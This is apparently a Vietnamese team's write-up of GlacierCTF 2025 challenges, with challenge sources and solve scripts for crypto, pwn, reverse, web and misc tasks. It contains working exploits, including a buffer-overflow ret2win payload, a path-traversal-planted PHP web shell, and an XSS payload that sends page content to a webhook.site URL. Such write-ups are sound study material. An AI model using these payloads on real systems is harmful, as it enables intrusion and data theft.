# Crypto
## C.M.P.R.W
Source code:
```python=
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
from Crypto.Util.number import bytes_to_long
import networkx as nx
def graph(tags: list):
assert(len(tags) == 5)
G = nx.DiGraph()
G.add_nodes_from(tags)
edges = []
for i in range(len(tags)):
j1, j2 = (i+1) % len(tags), (i+3) % len(tags)
edges.append((tags[i], tags[j1]))
edges.append((tags[i], tags[j2]))
G.add_edges_from(edges)
return G
TAGS = ["crypto", "misc", "pwn", "rev", "web"]
GRAPH = graph(TAGS)
def result(s1: str, s2: str):
if (s1 == s2):
return "tie"
if ((s1, s2) in GRAPH.edges):
return "win"
elif ((s2, s1) in GRAPH.edges):
return "lose"
def RNGesus():
state = bytes_to_long(os.urandom(8))
while (True):
yield state & 0xf
for _ in range(4):
bit = (state ^ (state >> 3) ^ (state >> 7)) & 1
state = (state >> 1) | (bit << 63)
def main():
n = 100
print("Welcome to C.M.P.R.W.")
print(f"If you win against the computer {n * 2} time in a row. You may claim our [SPECIAL] reward.")
print("Here, have some free trials as new-comer goodies.")
rng = RNGesus()
for _ in range(n):
choice = next(rng) % 5
inp = input("Choose one of 'crypto', 'misc', 'pwn', 'rev', 'web': ")
if (inp not in TAGS):
print("error")
exit(0)
else:
res = result(inp, TAGS[choice])
print(res)
for _ in range(n * 2):
choice = next(rng) % 5
inp = input("Choose one of 'crypto', 'misc', 'pwn', 'rev', 'web': ")
if (inp not in TAGS):
print("error")
exit(0)
else:
res = result(inp, TAGS[choice])
print(res)
if (res != "win"):
print("Sorry. Better luck next time.")
exit(0)
else:
with open("flag.txt", "r") as f:
print(f"Congratulations! Here is your prize! {f.read()}")
if __name__ == "__main__":
SystemExit(main())
```
Phân tích một chút về bài này, server cho ta một hàm custom RNG là `RNGesus`. Hàm này sẽ sinh ra một số trong khoảng [0..15], mục đích của ta là phải **predict** được hàm này để có thể tính được giá trị mà nó trả về. Từ đó bypass được `n*2` lượt để lấy `FLAG`.
Để server trả về `win` đối với mỗi round thì ta phải chọn các lựa chọn thích hợp (tương ứng với cạnh của đồ thị mà server tạo ra).
Bài này mình đã sử dụng `z3` để **symbolic** lại hàm `RNGesus` từ đó recover lại được `seed` ban đầu. Cụ thể hơn:
- Ban đầu khởi tạo một cái `BitVec` gồm 64-bit đại diện cho trạng thái đầu tiên `state_0`.
- Chơi thử 100 round:
- Cố định một lựa chọn mà mình sẽ gửi qua cả 100 round (mình chọn `crypto`).
- Tính giá trị đầu ra tại mỗi round `i`: `output_val = current_state & 0xf`.
- Thêm các ràng buộc từ kết quả mà server trả về.
- Cập nhật trạng thái giống như hàm `RNGesus()` nhưng trên biểu thức **symbolic**.
Sau khi thêm các ràng buộc vào thì mình `solver.check()` để tìm `seed` ban đầu. Khi đó mình đã kiểm soát được giá trị của hàm `RNGesus()` trả về sẽ là gì rồi. Bypass `n*2` vòng và lấy `Flag`.
Solve script:
```python=
from pwn import *
from z3 import *
import time
io = remote('challs.glacierctf.com', 13375, level='debug')
TAGS = ["crypto", "misc", "pwn", "rev", "web"]
def get_winning_move(computer_idx):
for p in range(5):
j1 = (p + 1) % 5
j2 = (p + 3) % 5
if j1 == computer_idx or j2 == computer_idx:
return TAGS[p]
return TAGS[0]
def z3_lfsr_step(state):
bit = (state ^ LShR(state, 3) ^ LShR(state, 7)) & 1
new_state = LShR(state, 1) | (bit << 63)
return new_state
def python_lfsr_step(state):
bit = (state ^ (state >> 3) ^ (state >> 7)) & 1
state = (state >> 1) | (bit << 63)
return state & 0xffffffffffffffff
def solve():
try:
io.recvuntil(b"new-comer goodies.\n")
solver = Solver()
state_0 = BitVec('state_0', 64)
current_state = state_0
my_choice_str = TAGS[0].encode()
start_time = time.time()
for i in range(100):
output_val = current_state & 0xf
io.sendlineafter(b": ", my_choice_str)
res = io.recvline().strip().decode()
if res == "tie":
solver.add(output_val % 5 == 0)
elif res == "win":
solver.add(Or(output_val % 5 == 1, output_val % 5 == 3))
elif res == "lose":
solver.add(Or(output_val % 5 == 2, output_val % 5 == 4))
for _ in range(4):
current_state = z3_lfsr_step(current_state)
if solver.check() != sat:
print("No solution found")
return
model = solver.model()
recovered_state = model[state_0].as_long() & 0xffffffffffffffff
print(f"State: {hex(recovered_state)}")
real_state = recovered_state
for _ in range(100):
for _ in range(4):
real_state = python_lfsr_step(real_state)
winning_moves = []
for i in range(200):
val = real_state & 0xf
comp_choice_idx = val % 5
for _ in range(4):
real_state = python_lfsr_step(real_state)
move = get_winning_move(comp_choice_idx)
winning_moves.append(move)
payload = "\n".join(winning_moves)
io.sendline(payload.encode())
io.interactive()
except EOFError:
print("EOFError")
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
solve()
# gctf{y0u_4r3_7H3_TrUE_rN635u5_n0W_7rY_j3N5H1n_1Mp4C7}
```
## crypto
Source code:
```python=
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Respect the shebang and mark file as executable
import base64
import json
import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.Padding import unpad
def main() -> int:
with open("/flag.txt", "r") as flag_file:
FLAG = flag_file.read()
# We choose a random key
key = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC)
print("Welcome to AES, the Authentic Engagement Solutions")
print("The only service that we offer is to greet you")
while True:
print("1) Get a token")
print("2) Redeem a previously issued token")
print("3) Exit")
choice = input("> ")
try:
choice_int = int(choice)
except ValueError:
print("An error occured!")
continue
if choice_int == 1:
print("Hey, what's your name?")
name = input("> ")
token = f"admin=0;name={name}".encode()
ct_bytes = cipher.encrypt(pad(token, AES.block_size))
iv = base64.b64encode(cipher.iv).decode()
ct = base64.b64encode(ct_bytes).decode()
token_enc = json.dumps({'iv':iv, 'ct':ct})
print(f"Here is your token: {token_enc}")
elif choice_int == 2:
print("Hey, what's your token?")
token_str = input("> ")
token = json.loads(token_str)
iv = base64.b64decode(token['iv'])
ct = base64.b64decode(token['ct'])
cipher = AES.new(key, AES.MODE_CBC, iv)
pt = unpad(cipher.decrypt(ct), AES.block_size).decode()
token_content = {
part.split("=")[0]: part.split("=")[1]
for part in pt.split(";")
}
print(token_content)
print(f"Hey {token_content['name']}, thanks for using our service :)")
if token_content["admin"] != "0":
print(f"You seem to be admin, take this: {FLAG}")
elif choice_int == 3:
print("Thanks for using AES. See you again soon")
break
else:
print("I don't know what you want :(")
return 0
if __name__ == '__main__':
raise SystemExit(main())
```
Bài này khá đơn giản, với `choice = 1` thì server sẽ trả về cho ta một token là mã hóa của `admin=0;name=.....`. Còn `choice = 2` thì ta được phép gửi `iv, ct` làm sao để sau khi giải mã kết quả sẽ chứa `admin != 0`.
Vì đây là mã hóa `AES-CBC`:

Nên nếu ta thay 1 bytes ở `IV` thì bytes nằm ở vị trí tương ứng của `plaintext` sẽ cũng bị thay đổi. Từ đó ta chỉ cần tìm một giá trị thích hợp để sau khi mã hóa `admin=1` là được.
Solve script:
```python=
import base64
import json
from pwn import *
# io = process(['python3', '/home/team/CTF Cryptography/crypto/challenge'], level='debug')
io = remote('challs.glacierctf.com', 13387, level='debug')
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"> ", b"A")
token = io.recvline_contains(b"Here is your token: ").strip().decode().split("token: ")[1]
iv = base64.b64decode(json.loads(token)['iv'])
ct = base64.b64decode(json.loads(token)['ct'])
modified_iv = bytearray(iv)
modified_iv[6] = modified_iv[6] ^ ord('0') ^ ord('1')
modified_token = json.dumps({
'iv': base64.b64encode(bytes(modified_iv)).decode(),
'ct': base64.b64encode(ct).decode()
})
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"> ", modified_token.encode())
io.recvline()
response = io.recvline().decode()
# gctf{fa81f9cb_w3lc0me_t0_cr1pt0_415a74a1}
```
## Noisy Neighbour
Source code:
```python!
import random
from Crypto.Util.number import getPrime, long_to_bytes
from Crypto.Cipher import AES
ticket = random.getrandbits(128)
FLAG = ""
with open('flag.txt', 'r') as flag:
FLAG = flag.read()
p = getPrime(1024)
q = getPrime(1024)
N = p * q
phi = (p - 1) * (q - 1)
e = getPrime(16) + (random.getrandbits(128) * phi)
enc_ticket = pow(ticket, e, N)
print(f"{N=}")
print(f"{e=}")
print(f"{enc_ticket=}")
cipher = AES.new(long_to_bytes(ticket), AES.MODE_CTR)
nonce = cipher.nonce
enc_flag = cipher.encrypt(FLAG.encode())
print(f"{enc_flag, nonce=}")
```
Đây là một bài RSA với số mũ `e` khá lớn. Làm một số phép biến đổi:
\begin{gather*}
e = e_0 + k \cdot \phi(N) \\
\Rightarrow e \approx k \cdot \phi(N) \ \ \ \ (\text{vì e khá nhỏ}) \\
\Rightarrow e \approx k \cdot N \\
\Rightarrow k \approx \lfloor \frac{e}{N} \rfloor \\
\Rightarrow k = \frac{e}{N} + 1 \\
\Rightarrow e_0 = e \pmod k \\
\Rightarrow \phi(N) = \frac{e - e_0}{k}
\end{gather*}
Khi tính được $\phi(n)$ rồi thì việc còn lại rất đơn giản là giải RSA như thông thường.
Solve script:
```python=
from Crypto.Util.number import *
from Crypto.Cipher import AES
N=10347242542600406308094534195263088635791365996714020803160250407603636995099715433829129670160192589093770515128152510439089971458386641765448309859819378023880272965050178277879093516918807566027042642100169240017844173793930784667163759562215010481356537422986546632994001754291723194969521748076910835396937977810627980887157551885113202531423733595088875369751631232226097581969479909313254958049277471499732135617616297332871531530596176518111563310557213028740425533103112982126293232786326119238512934754974514742881890899165547139605333761970683944591937361699420431036603767467012489183290578309164784178633
e=3311986667073495779819661492647781665180928338729865042826968893121477288104028672415705332665972755867861711304085148957997662937288947383110908043717598599426017484422084809208910486092822909662298925085867663251659781025068175951771651187222278814345138470007111789992552003468482347964267103806504197977364231330649526292875722283219443425291497285240653190201781346512871589039622122806771109809220085787813190940121150761761463256791250036396820146924876913040030532187290384737376868592733044732294197676117676820815598675412056870600146382869883717018539905436358459822165326225070894181935206514146099686162267119751019096873609300804816456005907
enc_ticket=3946420937017846250393019311609396457338463614723557172414418971956390767261563151514428488890805225021688212721862533753952638354812535035364278722859438604041154655180097577414599710778354857775161040850623041785446044819204867397065653667589062151439260152909905577160138599029484856249429267771263679704326352858922042179435551285375575126876142413991900659195467217772357193174598528534725223102658732326697336473387891654610296170800740197748092566321210843941286260968460061251471684295914144882122101706465054524774059725005866235986370176677629767819073609117398726398647883974883695216900279944685266429904
enc_flag, nonce=(b'`\x8d\x9e\x1e\xd4!\xf5\xe3\xf8,\xfb\x16UV\xcc\xae\xe6G\x91F\x06\x157)\x99|;\xb0\xf5\x87\xa2R\xa8\xd4H\xd16\xa6\xd6\xd1r\xe7 C\xd6i\x83\xb9\xf9\xf7f=\xab\x16', b'\xf1\xdbF)\x91\xc5\xb4$')
k = (e // N) + 1
e_prime = e % k
phi = (e - e_prime) // k
d = inverse(e_prime, phi)
ticket = pow(enc_ticket, d, N)
cipher = AES.new(long_to_bytes(ticket), AES.MODE_CTR, nonce=nonce)
flag = cipher.decrypt(enc_flag)
print(flag)
# gctf{c0pp3rsm17h_ste4ling_y0ur_sm4ll_r00ts_2025-2079}
```
## AES zippy
Source code:
```python=
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import zlib
import base64
from Crypto.Cipher import AES
KEY = os.urandom(16)
USED_NONCES = []
ADMIN_SECRET = b"Glacier CTF Open"
ADMIN_LOGS = ""
NORMAL_LOGS = ""
MAX_STORAGE = 1 << 16
def decrypt(ct: bytes, nonce: bytes, tag: bytes) -> bytes:
ad = b"GlacierCTF2025"
cipher = AES.new(KEY, AES.MODE_GCM, nonce=nonce)
cipher.update(ad)
try:
decrypted = cipher.decrypt_and_verify(ct, tag)
except:
raise ValueError("Invalid tag")
return decrypted
def encrypt(pt: bytes, nonce: bytes = os.urandom(16)):
ad = b"GlacierCTF2025"
cipher = AES.new(KEY, AES.MODE_GCM, nonce=nonce)
cipher.update(ad)
ct, tag = cipher.encrypt_and_digest(pt)
return ct, nonce, tag
def test_init():
global ADMIN_LOGS
pt = b"Hello GlacierCTF"
ct, nonce, tag = encrypt(pt)
assert pt == decrypt(ct, nonce, tag)
ADMIN_LOGS += f"[+] Nonce: {base64.b64encode(nonce).decode()}\n"
ADMIN_LOGS += f"[+] Tag: {base64.b64encode(tag).decode()}\n"
def get_size() -> int:
global ADMIN_LOGS, NORMAL_LOGS, USED_NONCES
full_state: bytes = ADMIN_LOGS.encode() + NORMAL_LOGS.encode()
return len(zlib.compress(full_state)) + len(USED_NONCES)*16
def print_help():
print("[0] Encrypt a file")
print("[1] Access admin files")
def main():
global NORMAL_LOGS
print("[+] Welcome to the Glacier encryption service")
test_init()
while get_size() < MAX_STORAGE:
try:
print_help()
choice = int(input("Choose action:\n> "))
if choice == 0:
pt = bytes.fromhex(input("Plaintext:\n> "))
nonce = bytes.fromhex(input("Nonce:\n> "))
if nonce in USED_NONCES or ADMIN_SECRET in pt:
return
USED_NONCES.append(nonce)
ct, nonce, tag = encrypt(pt, nonce)
NORMAL_LOGS = f"{pt.hex()=} = {ct.hex()=}, {tag.hex()=}"
print(NORMAL_LOGS)
NORMAL_LOGS = f"{pt}"
print(f"[+] Storage left: {get_size()}/{MAX_STORAGE} bytes")
elif choice == 1:
ct = bytes.fromhex(input("Ciphertext:\n> "))
nonce = bytes.fromhex(input("Nonce:\n> "))
tag = bytes.fromhex(input("Tag:\n> "))
pt = decrypt(ct, nonce, tag)
if ADMIN_SECRET in pt:
print("[+] Access granted to admin files!")
with open("flag.txt", "r") as flag:
print(f"{flag.read()}")
return
else:
return
except:
return
return
if __name__ == "__main__":
main()
```
Bug chính của bài này đó chính là việc server đã sử dụng `nonce, tag` trong hàm `test_init()` nhưng lại không lưu `nonce` và `USED_NONCES`. Điều đó làm cho ta có thể đi theo hướng là recover lại 2 tham số đó, sau đó sử dụng `nonce` đó để mã hóa dữ liệu riêng của ta. Từ đó bài toán trở thành `reuse nonce in AES-GCM` (xem chi tiết ở [đây](https://frereit.de/aes_gcm/)).
Vậy làm sao để recover lại `nonce, tag` của `admin` ?
Ta nhận thấy ở `choice = 0`, server sẽ tính `get_size()` (function này sử dụng hàm `zlib.compress` để nén lại và trả về độ dài sau khi nén) cho ta biết giá trị đó. Đây chính là một cái **Oracle** mà ta có thể exploit để recover.
Mục tiêu của chính là làm rò rỉ các chuỗi `Base64` của `nonce, tag` được in ra trong `ADMIN_LOGS`. Ta đã biết, kích thước của chuỗi sau khi `zlib.compress` sẽ thay đổi nếu chuỗi ta gửi (`NORMAL_LOGS`) khớp một phần với `ADMIN_LOGS`. Từ đó, ta sẽ thử gửi từng kí tự trong `Base64`, nếu như hàm nén trả về độ dài ngắn hơn thì chứng tỏ nó sẽ giống với phần prefix là `ADMIN_LOGS` hơn.
Sau khi recover được `nonce, tag` của `admin` rồi. Việc còn lại là sử dụng kĩ thuật `forge tag` của AES-GCM trong ngữ cảnh **reuse nonce**.
```python=
from pwn import *
import string
import sys
import forbidden_attack
context.log_level = 'error'
context.timeout = 5
REQUEST_COUNT = 0
def get_size(io, payload):
global REQUEST_COUNT
try:
io.sendline(b"0")
io.sendlineafter(b"Plaintext:\n> ", payload.hex().encode())
nonce = os.urandom(16)
io.sendlineafter(b"Nonce:\n> ", nonce.hex().encode())
REQUEST_COUNT += 1
io.recvuntil(b"Storage left: ")
line = io.recvline().decode().strip()
raw_size = int(line.split('/')[0])
compressed_size = raw_size - (REQUEST_COUNT * 16)
io.recvuntil(b"Choose action:\n> ")
return compressed_size
except:
return 999999
def leak_secret(io, prefix):
known = prefix
charset = string.ascii_letters + string.digits + "+/="
global REQUEST_COUNT
while True:
candidates = {}
payloads = []
for char in charset:
probe = (known + char).encode()
payloads.append((char, probe))
for char, probe in payloads:
io.sendline(b"0")
io.sendline(probe.hex().encode())
nonce = os.urandom(16)
io.sendline(nonce.hex().encode())
for i, (char, probe) in enumerate(payloads):
try:
REQUEST_COUNT += 1
io.recvuntil(b"Storage left: ")
line = io.recvline().decode().strip()
raw_size = int(line.split('/')[0])
compressed_size = raw_size - (REQUEST_COUNT * 16)
io.recvuntil(b"Choose action:\n> ")
candidates[char] = compressed_size
except:
return known[len(prefix):]
min_size = min(candidates.values())
best_chars = [c for c, s in candidates.items() if s == min_size]
if len(best_chars) == 1:
best_char = best_chars[0]
known += best_char
if best_char == "\n" or len(known) > 100:
break
if best_char == "=":
pass
if len(known) - len(prefix) >= 24:
break
else:
break
return known[len(prefix):]
def xor_bytes(a, b):
return bytes(x ^ y for x, y in zip(a, b))
def main():
if args.REMOTE:
io = remote("challs.glacierctf.com", 13373, level='debug')
else:
io = process(['python3', 'challenge'])
io.recvuntil(b"Choose action:\n> ")
try:
nonce_b64 = leak_secret(io, "[+] Nonce: ")
tag_b64 = leak_secret(io, "[+] Tag: ")
nonce_admin = base64.b64decode(nonce_b64.strip())
tag_admin = base64.b64decode(tag_b64.strip())
P_admin = b"Hello GlacierCTF"
io.sendline(b"0")
P_ours = b"A" * 16
io.sendlineafter(b"Plaintext:\n> ", P_ours.hex().encode())
io.sendlineafter(b"Nonce:\n> ", nonce_admin.hex().encode())
global REQUEST_COUNT
REQUEST_COUNT += 1
line = io.recvline().decode().strip()
import re
m_ct = re.search(r"ct\.hex\(\)='([0-9a-f]+)'", line)
m_tag = re.search(r"tag\.hex\(\)='([0-9a-f]+)'", line)
C_ours_hex = m_ct.group(1)
Tag_ours_hex = m_tag.group(1)
C_ours = bytes.fromhex(C_ours_hex)
Tag_ours = bytes.fromhex(Tag_ours_hex)
io.recvuntil(b"Storage left: ")
io.recvline()
io.recvuntil(b"Choose action:\n> ")
K = xor_bytes(C_ours, P_ours)
C_admin = xor_bytes(P_admin, K)
possible_keys = list(forbidden_attack.recover_possible_auth_keys(
b"", C_admin, tag_admin,
b"", C_ours, Tag_ours
))
ADMIN_SECRET = b"Glacier CTF Open"
P_flag_request = ADMIN_SECRET
if len(P_flag_request) < 16:
P_flag_request += b'\x00' * (16 - len(P_flag_request))
C_flag_request = xor_bytes(P_flag_request, K)
for i, H in enumerate(possible_keys):
Tag_flag_request = forbidden_attack.forge_tag(
H,
b"", C_admin, tag_admin,
b"", C_flag_request
)
io.sendline(b"1")
io.sendlineafter(b"Ciphertext:\n> ", C_flag_request.hex().encode())
io.sendlineafter(b"Nonce:\n> ", nonce_admin.hex().encode())
io.sendlineafter(b"Tag:\n> ", Tag_flag_request.hex().encode())
response = io.recvall(timeout=2).decode()
return response
except:
return ""
finally:
io.close()
if __name__ == "__main__":
print(main())
# gctf{ZiPPY_iS_0UT_heRE_5NItchin6_on_@lL_tHE_nONC3s}
```
# PWN
## pwn
Source code:
```cpp=
#include <stdio.h>
#include <stdlib.h>
void win() {
FILE *f = fopen("/flag.txt", "r");
if(f == NULL)
exit(1);
char flag[256];
char *r = fgets(flag, 256, f);
printf("%s\n", flag);
}
void challenge() {
char buf[0666];
printf("Enter your input now:\n");
fread(buf, 1, 666, stdin);
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
challenge();
return 0;
}
```
Bài này có một lỗi buffer overflow ở hàm `fread`, hàm đang read 666 bytes trong khi biến `buf` chỉ có 0666 (octal) = 438 (decimal) bytes.
Như vậy, chúng ta có thể ghi đè return address của hàm `challenge()` để jump về hàm `win()`.
Trước tiên, check security của file binary:
- `PIE off` -> address của `win()` ở local sẽ giống trên server.
- `Canary off` -> không cần leak canary.

Check địa chỉ của `win()` là `0x4011d6`.

Bây giờ, chúng ta sẽ check offset giữa `buf` và return address. Có thể thấy được, `challenge` dành cho biến local 0x1c0 = 448 btyes.

Vậy payload là `448 bytes junk` + `8 bytes rbp` + `win() address` + `202 bytes junk`.
Solve Script:
```python!
from pwn import *
s = remote('challs.glacierctf.com', 13388)
print(s.recvuntil(b'Enter your input now:\n'))
payload = b'A' * (448+8)
payload += p64(0x4011d6)
payload += b'A' * (666-len(payload))
s.send(payload)
print(s.recvall().decode())
# gctf{3097324b_w3lc0me_t0_pwn_e1dab08a}
```
# Reverse
## rev
Logic là bài sẽ cho khá nhiều flag nhưng chỉ lấy flag ở index 592 để check

Và nó đây

## Wisdom
Bài này cho chúng ta một file binary, khi sử dụng IDA, chúng ta sẽ thấy được có hàm `check_flag()`
```cpp=
_BOOL8 __fastcall check_flag(_BYTE *a1)
{
__int64 i; // rdx
for ( i = 0; i != 46; ++i )
a1[i] = MAGIC + (KEY[i] ^ a1[i]) - i;
return memcmp(a1, &FLAG, 0x2Eu) == 0;
}
```
Chỉ cần extract các giá trị `MAGIC`, `KEY[]` và `FLAG` thì chúng ta có thể reverse lại được flag.
Solve script:
```python!
from pwn import xor
MAGIC = "5e"
KEY = '36d1d9db89a5bede5ee60f12021ae1c00b4ca3b008e9a0d0d1ea88712387d041d80409a2fd2002280d758d66a85c000000000000000000000000000000000000'
CHECK_FLAG = 'af0f09184c473344640ebc75bda5d6eea0c9223ab9cf3cd6ebe7fd45bef820b02b6ea7fe02497384a278f088c252'
m = int(MAGIC, 16)
k = bytes.fromhex(KEY)
c = bytes.fromhex(CHECK_FLAG)
flag = ''.join([xor(c[i] - m + i, k[i]).decode() for i in range(len(c))])
print(flag)
# gctf{Ke3P_g0iNg_Y0u_goT_tH1s_00055ba509ea6138}
```
# Web
## web

Bài này mình đọc source và thấy creds như sau
```json
[
{
"username": "test",
"password": "test",
"moderator": false
},
{
"username": "alice",
"password": "WpYcHA1li7@*$Z%mp&W#3ZYIYPw1iVkj",
"moderator": false
},
{
"username": "admin",
"password": "!UCA3P4*Dg@nam4L!oodQK4@TjmC9cnh",
"moderator": true
}
]
```
Thử đăng nhập admin ai ngờ được luôn

## Glacier ToDo
Source:
```php
<?php
session_start();
header("Content-Type: application/json");
$start = microtime(true);
define("TODOS", "/tmp/todos");
define("USERS", "/tmp/users.json");
define("SESS", "LOGIN_ID");
if(!file_exists(USERS)) file_put_contents(USERS, "[]");
if(!is_dir(TODOS)) mkdir(TODOS);
$res = array();
$data = array();
$status = 1;
$path = $_GET["path"];
if($path === "/todos/list") {
$isLoggedIn = isset($_SESSION[SESS]);
if(!$isLoggedIn) goto fail;
$user = $_SESSION[SESS];
if(!file_exists(TODOS . "/" . $user)) file_put_contents(TODOS . "/" . $user, "[]");
$todos = json_decode(file_get_contents(TODOS . "/" . $user), true);
$data["todos"] = array_values($todos);
} elseif($path === "/todos/add") {
$isLoggedIn = isset($_SESSION[SESS]);
if(!$isLoggedIn) goto fail;
$user = $_SESSION[SESS];
if(!file_exists(TODOS . "/" . $user)) file_put_contents(TODOS . "/" . $user, "[]");
$todos = json_decode(file_get_contents(TODOS . "/" . $user));
$name = isset($_POST["name"]) ? filter_input(INPUT_POST, "name") : '';
$desc = isset($_POST["desc"]) ? filter_input(INPUT_POST, "desc") : '';
$todos[] = array(
"id" => uniqid(),
"name" => $name,
"desc" => $desc
);
file_put_contents(TODOS . "/" . $user, json_encode(array_values($todos)));
} elseif($path === "/todos/remove") {
$isLoggedIn = isset($_SESSION[SESS]);
if(!$isLoggedIn) goto fail;
$user = $_SESSION[SESS];
if(!file_exists(TODOS . "/" . $user)) file_put_contents(TODOS . "/" . $user, "[]");
$todos = json_decode(file_get_contents(TODOS . "/" . $user));
$id = isset($_POST["id"]) ? filter_input(INPUT_POST, "id") : '';
file_put_contents(TODOS . "/" . $user, json_encode(array_values(array_filter($todos, function($item) use($id) {
return $item->id !== $id;
}))));
} elseif($path === "/account/info") {
$isLoggedIn = isset($_SESSION[SESS]);
$data["loggedIn"] = $isLoggedIn;
$data["username"] = $_SESSION[SESS];
} elseif($path === "/account/login") {
$username = isset($_POST["username"]) ? filter_input(INPUT_POST, "username") : '';
$password = isset($_POST["password"]) ? filter_input(INPUT_POST, "password") : '';
$users = json_decode(file_get_contents(USERS));
foreach($users as $user)
if($user->username === $username && password_verify($password, $user->password))
goto valid_login;
goto fail;
valid_login:
$_SESSION[SESS] = $username;
} elseif($path === "/account/register") {
$username = isset($_POST["username"]) ? filter_input(INPUT_POST, "username") : '';
$password = isset($_POST["password"]) ? filter_input(INPUT_POST, "password") : '';
$users = json_decode(file_get_contents(USERS));
foreach($users as $user)
if($user->username === $username) goto fail;
$users[] = array(
"username" => $username,
"password" => password_hash($password, PASSWORD_DEFAULT)
);
file_put_contents(USERS, json_encode($users));
} else {
http_response_code(404);
}
goto end;
fail:
http_response_code(500);
$status = 0;
end:
$end = microtime(true);
$res["data"] = $data;
$res["success"] = $status;
$res["exec_time"] = $end - $start;
echo json_encode($res);
```
Source có vẻ dài nhưng ta có thể thấy lỗi nằm ở đây:
```php
} elseif($path === "/todos/add") {
$isLoggedIn = isset($_SESSION[SESS]);
if(!$isLoggedIn) goto fail;
$user = $_SESSION[SESS];
if(!file_exists(TODOS . "/" . $user)) file_put_contents(TODOS . "/" . $user, "[]");
$todos = json_decode(file_get_contents(TODOS . "/" . $user));
$name = isset($_POST["name"]) ? filter_input(INPUT_POST, "name") : '';
$desc = isset($_POST["desc"]) ? filter_input(INPUT_POST, "desc") : '';
$todos[] = array(
"id" => uniqid(),
"name" => $name,
"desc" => $desc
);
```
Ta thấy TODOS được add với "/" và tên user nên ta có thể path traversal tại đây và ghi vào file php.
Đầu tiên ta tạo user `../../../../../../var/www/html/a.php`

Sau đó add note với nội dung `<?php system($_GET['cmd']);?>`

Vào endpoint
`/a.php?cmd=cat /flag.txt`

## Glacier AI Store
Giao diện trang web:

Có thể thấy web cho ta 1 coin, nhưng để có flag phải cần 1000 coin. Thử order 1 stone và đã hết tiền

Sau một hồi fuzz thì mình có thể race-condition sử dụng 2 hoặc 3 session để order 2 đơn và bán đi sẽ tăng coin

Thế là đã có 2 đơn bây giờ bán đi là sẽ tăng coin, cứ lặp lại và khi đủ 10 coin, 100 coin thì tăng mục tiêu lên và cuối cùng lấy được flag.
## Glacier Echo
Ta có endpoint /echo cho phép nhập vào Content-Type và content

Nhưng Content-Type chỉ cho phép text/plain
```python
@csrf_exempt
def echo(request):
current_user = get_current_user(request)
if not current_user:
return HttpResponse(
"Error: Authentication required. Please login first.", status=401
)
content_type = request.GET.get("type", "text/plain")
parsed_type = parse_options_header(content_type)[0]
if parsed_type != "text/plain":
return HttpResponse("Error: Only text/plain are allowed!", status=403)
message = request.GET.get("message", "")
try:
new_echo = Echo.objects.create(
message=message,
content_type=content_type,
ip_address=request.META.get("REMOTE_ADDR"),
base_station_id=current_user.get("base_station_id"),
)
logger.info(
f"Saved echo to database for(station: {current_user.get('station_id', 'admin')})"
)
except Exception as e:
logger.error(f"Failed to save echo to database: {e}")
echo_response = f"{message}\n{message}\n{message}"
response = HttpResponse(echo_response)
response["Content-Type"] = content_type
return response
```
Sau một hồi fuzz thì mình tìm được một payload có thể bypass và chuyển content-type về text/html
`/echo?message=<script>alert(1)</script>&type=text/plain;,text/html`

Ok ngon rồi bây giờ ta có payload để xss như sau:
```html
<script>fetch('/control-center').then(r=>r.text()).then(d=>fetch('https://webhook.site/f847fb46-6303-4159-ad63-949a4ed261fb/?a=c',{method: "POST",body:encodeURIComponent(d)}))</script>
```
Add vào và report

Check flag trong content

# Misc
## gitresethard
Challenge cho một repo của github cần được recovery lại sau khi bị reset hard.
Bài này sử dụng `git fsck --dangling` để check các commit không còn được trỏ tới. Khi đó, sẽ thấy được một commit lạ.

Khi `git checkout` tới commit đó, thì thấy được hint mà description để lại

Chúng ta có thể lấy được flag với chương trình `shit` trong folder `carpet`.

**Flag**: `gctf{0113_wh0_g1t_r3s3t3d_th3_c4t_4789}`
## findme v2
Challenge cho chúng ta một file pdf, khi mở lên thì file pdf không có gì đặc biệt.

Nhưng khi check bằng `pdf-parser` ở object 130 của file thì chúng ta sẽ thấy được một file PNG.

Ta có thể extract file ra bằng command:
`pdf-parser.py --filter --raw -o 130 -d flag.png chall.pdf`


## RFC 1035
Challenge cho chúng ta một file binary, khi chạy chúng ta sẽ thấy được nó đang mở một file flag.png.
Khi reverse file, đầu tiên chúng ta sẽ thấy được ở hàm `main_main` file này sẽ tạo một dns server chạy trên TCP từ repo của [miekg](https://github.com/miekg/dns).

Tiếp theo, ở hàm `main_handleDnsRequest` chúng ta sẽ thấy nó đang trỏ tới một domain là `flag.example.com`

Ngoài ra, nó sẽ sử dụng record `TXT` để gửi data của file `png`.

Như vậy chúng ta sẽ cần sử dụng server DNS từ đề bài là `challs.glacierctf.com:13381` với TCP để resolve domain `flag.example.com`.

Solve script:
```python!
import dns.message
import dns.query
import dns.rdatatype
import socket
SERVER_HOST = "challs.glacierctf.com"
SERVER_PORT = 13381
TARGET_DOMAIN = "flag.example.com."
data = None
def main():
try:
server_ip = socket.gethostbyname(SERVER_HOST)
print(f"[*] Resolved {SERVER_HOST} -> {server_ip}")
query = dns.message.make_query(TARGET_DOMAIN, dns.rdatatype.TXT)
response = dns.query.tcp(query, server_ip, port=SERVER_PORT, timeout=10)
print("[*] Received DNS response")
with open("flag.png", "wb") as f:
for rrset in response.answer:
for rdata in rrset:
for part in rdata.strings:
if isinstance(part, str):
part = part.encode()
f.write(part)
print("[*] Flag written to flag.png")
except Exception as e:
print(f"[ERROR] {e}")
if __name__ == "__main__":
main()
```

## Repo Viewer
Challenge tại đây:
```bash
#!/bin/bash
set -euo pipefail
echo "Welcome to the Repo Viewer!"
echo "Submit a git bundle to view its README"
echo "Sample command: git clone <repo_url> . && git bundle create repo.bundle --all && (cat repo.bundle | base64; echo @) | wl-copy"
echo "Confirm with extra newline after base64 data."
echo "Input base64-encoded git bundle:"
read -d @ bundledata
printf %s "${bundledata}" | base64 -d > /tmp/repo.bundle
git clone /tmp/repo.bundle .
# lock down less
eval $(lesspipe)
cp /data/.lesskey .lesskey
if [ -L README.md ]; then
echo "No funny business!"
exit 1
fi
less README.md
```
